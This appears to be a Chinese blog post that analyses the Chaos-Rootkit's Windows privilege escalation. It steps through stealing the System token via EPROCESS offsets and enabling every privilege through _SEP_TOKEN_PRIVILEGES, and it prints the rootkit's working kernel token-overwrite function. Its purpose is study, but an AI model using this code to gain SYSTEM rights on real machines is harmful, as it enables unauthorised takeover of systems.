去年学了点kernel开发,实战太少了,看看别人的代码怎么写的
项目地址:https://github.com/ZeroMemoryEx/Chaos-Rootkit
权限提升
测试环境:

连接到rookit
原理剖析
其实可以手动实现这个过程
首先打开一个cmd.exe


结构体中表示权限的是一个叫+0x4b8 Token : _EX_FAST_REF
的东西
Token是一个_EX_FAST_REF
类型的Union值

RefCnt
记录了Token引用的数目,是数据的低4位(64位中,32位是3位)
将当前进程的除RefCnt
以外的其他bit位设置为和System的一致就行了
这里 Value
与掩码-0xd
(RefCount)进行&
运算就能得到真实的Token值
现在将计算出的Token值复制给cmd.exe(这是一个新的Token)


更进一步

另外一种就是经典的 **_sep_token Privileges Abusing **

在+0x40
的位置是一个_sep_token_privileges
结构体

Present
:包含令牌的当前特权
Enabled
:包含令牌上所有已启用的特权
EnabledByDefault
表示令牌在构造时的默认状态
尝试将enable
值变为present


如果方法一中有部分权限未启用,可以使用这种方法开启所有特权
代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| DWORD PrivilegeElevationForProcess(int pid) { PVOID process = NULL; PVOID systemProcess = NULL; PACCESS_TOKEN targetToken = NULL; PACCESS_TOKEN systemToken = NULL;
__try { NTSTATUS status = PsLookupProcessByProcessId((HANDLE)pid, &process); status = PsLookupProcessByProcessId((HANDLE)0x4, &systemProcess); char* imageName = PsGetProcessImageFileName((PEPROCESS)process); DbgPrint("Target process image name: %s\n", imageName); targetToken = PsReferencePrimaryToken(process); DbgPrint("%s token: %x\n", imageName, targetToken); systemToken = PsReferencePrimaryToken(systemProcess); DbgPrint("System token: %x\n", systemToken); ULONG_PTR targetTokenAddress = (ULONG_PTR)process + eoffsets.Token_offset; DbgPrint("%s token address: %x\n", imageName, targetTokenAddress); ULONG_PTR systemTokenAddress = (ULONG_PTR)systemProcess + eoffsets.Token_offset; DbgPrint("System token address: %x\n", systemTokenAddress); *(PHANDLE)targetTokenAddress = *(PHANDLE)systemTokenAddress; DbgPrint("Process %s token updated to: %x\n", imageName, *(PHANDLE)(targetTokenAddress)); } __finally { }
return STATUS_SUCCESS; }
|
最关键的就是*(PHANDLE)targetTokenAddress = *(PHANDLE)systemTokenAddress;
效果
